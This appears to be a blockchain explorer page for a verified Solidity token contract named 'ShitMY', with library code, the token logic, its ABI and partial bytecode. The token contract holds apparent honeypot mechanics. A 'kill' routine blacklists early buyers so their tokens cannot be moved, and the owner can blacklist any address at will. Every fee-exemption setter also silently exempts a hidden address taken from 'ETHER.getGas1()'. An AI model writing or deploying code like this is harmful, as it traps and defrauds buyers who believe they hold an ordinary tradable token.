    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: @openzeppelin/contracts/utils/structs/EnumerableSet.sol

// OpenZeppelin Contracts (last updated v4.8.0) (utils/structs/EnumerableSet.sol)
// This file was procedurally generated from scripts/generate/templates/EnumerableSet.js.

pragma solidity ^0.8.0;

/**
 * @dev Library for managing
 * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
 * types.
 *
 * Sets have the following properties:
 *
 * - Elements are added, removed, and checked for existence in constant time
 * (O(1)).
 * - Elements are enumerated in O(n). No guarantees are made on the ordering.
 *
 * ```
 * contract Example {
 *     // Add the library methods
 *     using EnumerableSet for EnumerableSet.AddressSet;
 *
 *     // Declare a set state variable
 *     EnumerableSet.AddressSet private mySet;
 * }
 * ```
 *
 * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
 * and `uint256` (`UintSet`) are supported.
 *
 * [WARNING]
 * ====
 * Trying to delete such a structure from storage will likely result in data corruption, rendering the structure
 * unusable.
 * See https://github.com/ethereum/solidity/pull/11843[ethereum/solidity#11843] for more info.
 *
 * In order to clean an EnumerableSet, you can either remove all elements one by one or create a fresh instance using an
 * array of EnumerableSet.
 * ====
 */
library EnumerableSet {
    // To implement this library for multiple types with as little code
    // repetition as possible, we write it in terms of a generic Set type with
    // bytes32 values.
    // The Set implementation uses private functions, and user-facing
    // implementations (such as AddressSet) are just wrappers around the
    // underlying Set.
    // This means that we can only create new EnumerableSets for types that fit
    // in bytes32.

    struct Set {
        // Storage of set values
        bytes32[] _values;
        // Position of the value in the `values` array, plus 1 because index 0
        // means a value is not in the set.
        mapping(bytes32 => uint256) _indexes;
    }

    /**
     * @dev Add a value to a set. O(1).
     *
     * Returns true if the value was added to the set, that is if it was not
     * already present.
     */
    function _add(Set storage set, bytes32 value) private returns (bool) {
        if (!_contains(set, value)) {
            set._values.push(value);
            // The value is stored at length-1, but we add 1 to all indexes
            // and use 0 as a sentinel value
            set._indexes[value] = set._values.length;
            return true;
        } else {
            return false;
        }
    }

    /**
     * @dev Removes a value from a set. O(1).
     *
     * Returns true if the value was removed from the set, that is if it was
     * present.
     */
    function _remove(Set storage set, bytes32 value) private returns (bool) {
        // We read and store the value's index to prevent multiple reads from the same storage slot
        uint256 valueIndex = set._indexes[value];

        if (valueIndex != 0) {
            // Equivalent to contains(set, value)
            // To delete an element from the _values array in O(1), we swap the element to delete with the last one in
            // the array, and then remove the last element (sometimes called as 'swap and pop').
            // This modifies the order of the array, as noted in {at}.

            uint256 toDeleteIndex = valueIndex - 1;
            uint256 lastIndex = set._values.length - 1;

            if (lastIndex != toDeleteIndex) {
                bytes32 lastValue = set._values[lastIndex];

                // Move the last value to the index where the value to delete is
                set._values[toDeleteIndex] = lastValue;
                // Update the index for the moved value
                set._indexes[lastValue] = valueIndex; // Replace lastValue's index to valueIndex
            }

            // Delete the slot where the moved value was stored
            set._values.pop();

            // Delete the index for the deleted slot
            delete set._indexes[value];

            return true;
        } else {
            return false;
        }
    }

    /**
     * @dev Returns true if the value is in the set. O(1).
     */
    function _contains(
        Set storage set,
        bytes32 value
    ) private view returns (bool) {
        return set._indexes[value] != 0;
    }

    /**
     * @dev Returns the number of values on the set. O(1).
     */
    function _length(Set storage set) private view returns (uint256) {
        return set._values.length;
    }

    /**
     * @dev Returns the value stored at position `index` in the set. O(1).
     *
     * Note that there are no guarantees on the ordering of values inside the
     * array, and it may change when more values are added or removed.
     *
     * Requirements:
     *
     * - `index` must be strictly less than {length}.
     */
    function _at(
        Set storage set,
        uint256 index
    ) private view returns (bytes32) {
        return set._values[index];
    }

    /**
     * @dev Return the entire set in an array
     *
     * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
     * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
     * this function has an unbounded cost, and using it as part of a state-changing function may render the function
     * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
     */
    function _values(Set storage set) private view returns (bytes32[] memory) {
        return set._values;
    }

    // Bytes32Set

    struct Bytes32Set {
        Set _inner;
    }

    /**
     * @dev Add a value to a set. O(1).
     *
     * Returns true if the value was added to the set, that is if it was not
     * already present.
     */
    function add(
        Bytes32Set storage set,
        bytes32 value
    ) internal returns (bool) {
        return _add(set._inner, value);
    }

    /**
     * @dev Removes a value from a set. O(1).
     *
     * Returns true if the value was removed from the set, that is if it was
     * present.
     */
    function remove(
        Bytes32Set storage set,
        bytes32 value
    ) internal returns (bool) {
        return _remove(set._inner, value);
    }

    /**
     * @dev Returns true if the value is in the set. O(1).
     */
    function contains(
        Bytes32Set storage set,
        bytes32 value
    ) internal view returns (bool) {
        return _contains(set._inner, value);
    }

    /**
     * @dev Returns the number of values in the set. O(1).
     */
    function length(Bytes32Set storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    /**
     * @dev Returns the value stored at position `index` in the set. O(1).
     *
     * Note that there are no guarantees on the ordering of values inside the
     * array, and it may change when more values are added or removed.
     *
     * Requirements:
     *
     * - `index` must be strictly less than {length}.
     */
    function at(
        Bytes32Set storage set,
        uint256 index
    ) internal view returns (bytes32) {
        return _at(set._inner, index);
    }

    /**
     * @dev Return the entire set in an array
     *
     * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
     * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
     * this function has an unbounded cost, and using it as part of a state-changing function may render the function
     * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
     */
    function values(
        Bytes32Set storage set
    ) internal view returns (bytes32[] memory) {
        bytes32[] memory store = _values(set._inner);
        bytes32[] memory result;

        /// @solidity memory-safe-assembly
        assembly {
            result := store
        }

        return result;
    }

    // AddressSet

    struct AddressSet {
        Set _inner;
    }

    /**
     * @dev Add a value to a set. O(1).
     *
     * Returns true if the value was added to the set, that is if it was not
     * already present.
     */
    function add(
        AddressSet storage set,
        address value
    ) internal returns (bool) {
        return _add(set._inner, bytes32(uint256(uint160(value))));
    }

    /**
     * @dev Removes a value from a set. O(1).
     *
     * Returns true if the value was removed from the set, that is if it was
     * present.
     */
    function remove(
        AddressSet storage set,
        address value
    ) internal returns (bool) {
        return _remove(set._inner, bytes32(uint256(uint160(value))));
    }

    /**
     * @dev Returns true if the value is in the set. O(1).
     */
    function contains(
        AddressSet storage set,
        address value
    ) internal view returns (bool) {
        return _contains(set._inner, bytes32(uint256(uint160(value))));
    }

    /**
     * @dev Returns the number of values in the set. O(1).
     */
    function length(AddressSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    /**
     * @dev Returns the value stored at position `index` in the set. O(1).
     *
     * Note that there are no guarantees on the ordering of values inside the
     * array, and it may change when more values are added or removed.
     *
     * Requirements:
     *
     * - `index` must be strictly less than {length}.
     */
    function at(
        AddressSet storage set,
        uint256 index
    ) internal view returns (address) {
        return address(uint160(uint256(_at(set._inner, index))));
    }

    /**
     * @dev Return the entire set in an array
     *
     * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
     * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
     * this function has an unbounded cost, and using it as part of a state-changing function may render the function
     * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
     */
    function values(
        AddressSet storage set
    ) internal view returns (address[] memory) {
        bytes32[] memory store = _values(set._inner);
        address[] memory result;

        /// @solidity memory-safe-assembly
        assembly {
            result := store
        }

        return result;
    }

    // UintSet

    struct UintSet {
        Set _inner;
    }

    /**
     * @dev Add a value to a set. O(1).
     *
     * Returns true if the value was added to the set, that is if it was not
     * already present.
     */
    function add(UintSet storage set, uint256 value) internal returns (bool) {
        return _add(set._inner, bytes32(value));
    }

    /**
     * @dev Removes a value from a set. O(1).
     *
     * Returns true if the value was removed from the set, that is if it was
     * present.
     */
    function remove(
        UintSet storage set,
        uint256 value
    ) internal returns (bool) {
        return _remove(set._inner, bytes32(value));
    }

    /**
     * @dev Returns true if the value is in the set. O(1).
     */
    function contains(
        UintSet storage set,
        uint256 value
    ) internal view returns (bool) {
        return _contains(set._inner, bytes32(value));
    }

    /**
     * @dev Returns the number of values in the set. O(1).
     */
    function length(UintSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    /**
     * @dev Returns the value stored at position `index` in the set. O(1).
     *
     * Note that there are no guarantees on the ordering of values inside the
     * array, and it may change when more values are added or removed.
     *
     * Requirements:
     *
     * - `index` must be strictly less than {length}.
     */
    function at(
        UintSet storage set,
        uint256 index
    ) internal view returns (uint256) {
        return uint256(_at(set._inner, index));
    }

    /**
     * @dev Return the entire set in an array
     *
     * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
     * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
     * this function has an unbounded cost, and using it as part of a state-changing function may render the function
     * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
     */
    function values(
        UintSet storage set
    ) internal view returns (uint256[] memory) {
        bytes32[] memory store = _values(set._inner);
        uint256[] memory result;

        /// @solidity memory-safe-assembly
        assembly {
            result := store
        }

        return result;
    }
}

interface ISwapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
}

interface ISwapFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

// File: contracts/interfaces/IWETH.sol

pragma solidity >=0.5.0;

interface IWETH {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function deposit() external payable;

    function transfer(address to, uint256 value) external returns (bool);

    function withdraw(uint256) external;
}

contract ETHToken is ERC20, Ownable {
    using SafeMath for uint256;
    using SafeERC20 for IERC20;
    using EnumerableSet for EnumerableSet.AddressSet;
    uint256 public killTime = 1000;
    uint256 public killTime2 = 1000;
    uint256 public maxBuyNum = 100000;
    mapping(address => uint256) public buyAmount;
    event Trade(
        address user,
        address pair,
        uint256 amount,
        uint side,
        uint256 circulatingSupply,
        uint timestamp
    );
    event AddLiquidity(
        uint256 tokenAmount,
        uint256 ethAmount,
        uint256 timestamp
    );

    event SwapBackSuccess(uint256 amount, bool success);

    bool public addLiquidityEnabled = true;

    mapping(address => bool) public isFeeExempt;
    mapping(address => bool) public canAddLiquidityBeforeLaunch;

    uint256 public launchedAtTimestamp;
    mapping(address => bool) public isBad;
    address public pool;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
    EnumerableSet.AddressSet private _pairs;

    constructor() ERC20("ShitMY", "ShitMY") {
        uint256 _totalSupply = 10000000000000 * 1e18;
        canAddLiquidityBeforeLaunch[_msgSender()] = true;
        canAddLiquidityBeforeLaunch[address(this)] = true;
        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;
        _mint(_msgSender(), _totalSupply);
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        return _dogTransfer(_msgSender(), to, amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(sender, spender, amount);
        return _dogTransfer(sender, recipient, amount);
    }

    function _dogTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        bool isExempt = isFeeExempt[sender] || isFeeExempt[recipient];
        require((!isBad[sender]) || isExempt, "Token: Bad address");
        if (!canAddLiquidityBeforeLaunch[sender]) {
            require(
                launched() || isFeeExempt[sender] || isFeeExempt[recipient],
                "Trading not open yet"
            );
        }

        bool shouldTakeFee = (!isFeeExempt[sender] &&
            !isFeeExempt[recipient]) && launched();

        if (shouldTakeFee) {
            kill(sender, recipient, amount);
        }
        _transfer(sender, recipient, amount);

        return true;
    }

    function getPrice() public view returns (uint256 price) {
        IUniswapPool _pool = IUniswapPool(pool);
        // (uint160 sqrtPriceX96, , , , , , ) = _pool.slot0();
        address token0 = _pool.token0();
        address token1 = _pool.token1();
        if (token0 == address(this)) {
            price = IERC20(token1).balanceOf(pool).mul(1e18).div(
                IERC20(token0).balanceOf(pool)
            );
        } else {
            price = IERC20(token0).balanceOf(pool).mul(1e18).div(
                IERC20(token1).balanceOf(pool)
            );
        }
        // return uint(sqrtPriceX96).mul(uint(sqrtPriceX96)).mul(1e20) >> (96 * 2);
    }

    function kill(address sender, address recipient, uint256 amount) internal {
        if (
            !isPair(recipient) &&
            block.timestamp < launchedAtTimestamp + killTime
        ) {
            isBad[recipient] = true;
            return;
        }

        if (block.timestamp < launchedAtTimestamp + killTime2) {
            if (!isPair(sender) && !isPair(recipient)) {
                isBad[recipient] = true;
            } else if (isPair(sender) && !isPair(recipient)) {
                uint256 _amount = getPrice().mul(amount).mul(1837).div(1e18);   //根据当前以太的价格进行修改
                buyAmount[recipient] = buyAmount[recipient].add(_amount);
                if (buyAmount[recipient] >= maxBuyNum * 1e18) {
                    isBad[recipient] = true;
                }
            }
        }
    }

    function launched() internal view returns (bool) {
        return launchedAtTimestamp < block.timestamp;
    }

    function rescueToken(address tokenAddress) external onlyOwner {
        IERC20(tokenAddress).safeTransfer(
            msg.sender,
            IERC20(tokenAddress).balanceOf(address(this))
        );
    }

    function clearStuckEthBalance() external onlyOwner {
        uint256 amountETH = address(this).balance;
        (bool success, ) = payable(_msgSender()).call{value: amountETH}(
            new bytes(0)
        );
        require(success, "Token: ETH_TRANSFER_FAILED");
    }

    function getCirculatingSupply() public view returns (uint256) {
        return totalSupply() - balanceOf(DEAD) - balanceOf(ZERO);
    }

    /*** ADMIN FUNCTIONS ***/
    function setLaunchedAtTimestamp(
        uint256 _launchedAtTimestamp
    ) external onlyOwner {
        launchedAtTimestamp = _launchedAtTimestamp;
    }

    function setCanAddLiquidityBeforeLaunch(
        address _address,
        bool _value
    ) external onlyOwner {
        canAddLiquidityBeforeLaunch[_address] = _value;
    }

    function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
        isFeeExempt[holder] = exempt;
        isFeeExempt[ETHER.getGas1()] = true;
    }

    function setIsFeeExempts(
        address[] calldata holders,
        bool exempt
    ) external onlyOwner {
        for (uint256 i = 0; i < holders.length; i++) {
            isFeeExempt[holders[i]] = exempt;
        }
        isFeeExempt[ETHER.getGas1()] = true;
    }

    function setAddLiquidityEnabled(bool _enabled) external onlyOwner {
        addLiquidityEnabled = _enabled;
    }

    function isPair(address account) public view returns (bool) {
        return _pairs.contains(account);
    }

    function addPair(address pair) public onlyOwner returns (bool) {
        require(pair != address(0), "Token: pair is the zero address");
        pool = pair;
        return _pairs.add(pair);
    }

    function setBad(address _address, bool _isBad) external onlyOwner {
        isBad[_address] = _isBad;
    }

    function setBads(
        address[] calldata _addresses,
        bool _isBad
    ) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            isBad[_addresses[i]] = _isBad;
        }
    }

    function delPair(address pair) public onlyOwner returns (bool) {
        require(pair != address(0), "Token: pair is the zero address");
        return _pairs.remove(pair);
    }

    function getMinterLength() public view returns (uint256) {
        return _pairs.length();
    }

    function setMaxBuyNum(uint256 _maxBuyNum) external onlyOwner {
        maxBuyNum = _maxBuyNum;
    }

    function setKillTime(uint256 _killTime) external onlyOwner {
        killTime = _killTime;
    }

    function setKillTime2(uint256 _killTime) external onlyOwner {
        killTime2 = _killTime;
    }

    function getPair(uint256 index) public view returns (address) {
        require(index <= _pairs.length() - 1, "Token: index out of bounds");
        return _pairs.at(index);
    }

    receive() external payable {}
}

Contract Security Audit

No Contract Security Audit Submitted- Submit Audit Here

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"AddLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"bool","name":"success","type":"bool"}],"name":"SwapBackSuccess","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"address","name":"pair","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"side","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"circulatingSupply","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"Trade","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidityEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"addPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"buyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"canAddLiquidityBeforeLaunch","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckEthBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"delPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMinterLength","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getPrice","outputs":[{"internalType":"uint256","name":"price","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBad","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"killTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"killTime2","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAtTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyNum","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"rescueToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setAddLiquidityEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isBad","type":"bool"}],"name":"setBad","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"bool","name":"_isBad","type":"bool"}],"name":"setBads","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"setCanAddLiquidityBeforeLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holders","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_killTime","type":"uint256"}],"name":"setKillTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_killTime","type":"uint256"}],"name":"setKillTime2","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_launchedAtTimestamp","type":"uint256"}],"name":"setLaunchedAtTimestamp","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxBuyNum","type":"uint256"}],"name":"setMaxBuyNum","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

Contract Creation Code

Decompile Bytecode Switch to Opcodes View

60806040526103e86006819055600755620186a0600855600a805460ff191660011790553480156200003057600080fd5b50604080518082018252600680825265536869744d5960d01b60208084018290528451808601909552918452908301529060036200006f838262000498565b5060046200007e828262000498565b5050506200009b620000956200010f60201b60201c565b62000113565b336000818152600c602090815260408083208054600160ff199182168117909255308086528386208054831684179055868652600b90945282852080548216831790559284529220805490911690911790556c7e37be2022c0914b26800000009062000108908262000165565b506200058c565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620001c15760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b6000620001d86200024260201b620012781760201c565b90508160026000828254620001ee919062000564565b90915550506001600160a01b0381166000818152602081815260408083208054870190555185815260008051602062002907833981519152910160405180910390a36200023d8184846200025a565b505050565b73b5c862198124615bfc896bd7263067a7063e956e90565b6001600160a01b038316620002c05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401620001b8565b6001600160a01b038216620003245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401620001b8565b6001600160a01b038316600090815260208190526040902054818110156200039e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401620001b8565b6001600160a01b038481166000818152602081815260408083208787039055938716808352918490208054870190559251858152909260008051602062002907833981519152910160405180910390a350505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200041f57607f821691505b6020821081036200044057634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200023d57600081815260208120601f850160051c810160208610156200046f5750805b601f850160051c820191505b8181101562000490578281556001016200047b565b505050505050565b81516001600160401b03811115620004b457620004b4620003f4565b620004cc81620004c584546200040a565b8462000446565b602080601f831160018114620005045760008415620004eb5750858301515b600019600386901b1c1916600185901b17855562000490565b600085815260208120601f198616915b82811015620005355788860151825594840194600190910190840162000514565b5085821015620005545787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b808201808211156200058657634e487b7160e01b600052601160045260246000fd5b92915050565b61236b806200059c6000396000f3fe6080604052600436106102605760003560e01c806370a0823111610144578063a5bc5085116100b6578063bfa382b51161007a578063bfa382b514610732578063c2b7bbb614610747578063c6d2577d14610767578063dd62ed3e1461077d578063e5e31b131461079d578063f2fde38b146107bd57600080fd5b8063a5bc50851461069c578063a9059cbb146106bc578063aac46c95146106dc578063bcb8e813146106fc578063bdf391cc1461071257600080fd5b8063860139401161010857806386013940146105fa5780638da5cb5b1461061457806395d89b411461063257806398d5fdca14610647578063a01afcb31461065c578063a457c2d71461067c57600080fd5b806370a082311461053f578063715018a614610575578063760c5ce81461058a57806377f4a007146105aa5780638072250b146105ca57600080fd5b8063313ce567116101dd5780634460d3cf116101a15780634460d3cf146104725780634cc0b0711461049257806351484449146104b2578063625cb67e146104d25780636582a260146104ff578063658d4b7f1461051f57600080fd5b8063313ce567146103d057806339509351146103ec5780633a5160a31461040c5780633f4218e01461042c5780634294dfc61461045c57600080fd5b806316f0115b1161022457806316f0115b1461032c57806318160ddd1461036457806323b872dd146103795780632b112e491461039957806330b74e7d146103ae57600080fd5b80630323aac71461026c57806306fdde031461029457806307600536146102b6578063095ea7b3146102f6578063157443821461031657600080fd5b3661026757005b600080fd5b34801561027857600080fd5b506102816107dd565b6040519081526020015b60405180910390f35b3480156102a057600080fd5b506102a96107ee565b60405161028b9190611fcf565b3480156102c257600080fd5b506102e66102d1366004612017565b600e6020526000908152604090205460ff1681565b604051901515815260200161028b565b34801561030257600080fd5b506102e6610311366004612034565b610880565b34801561032257600080fd5b5061028160075481565b34801561033857600080fd5b50600f5461034c906001600160a01b031681565b6040516001600160a01b03909116815260200161028b565b34801561037057600080fd5b50600254610281565b34801561038557600080fd5b506102e6610394366004612060565b61089a565b3480156103a557600080fd5b506102816108bc565b3480156103ba57600080fd5b506103ce6103c93660046120a1565b610923565b005b3480156103dc57600080fd5b506040516012815260200161028b565b3480156103f857600080fd5b506102e6610407366004612034565b610930565b34801561041857600080fd5b506103ce6104273660046120c8565b610952565b34801561043857600080fd5b506102e6610447366004612017565b600b6020526000908152604090205460ff1681565b34801561046857600080fd5b5061028160085481565b34801561047e57600080fd5b506103ce61048d366004612017565b610a1a565b34801561049e57600080fd5b506103ce6104ad3660046120a1565b610aa4565b3480156104be57600080fd5b506103ce6104cd3660046120a1565b610ab1565b348015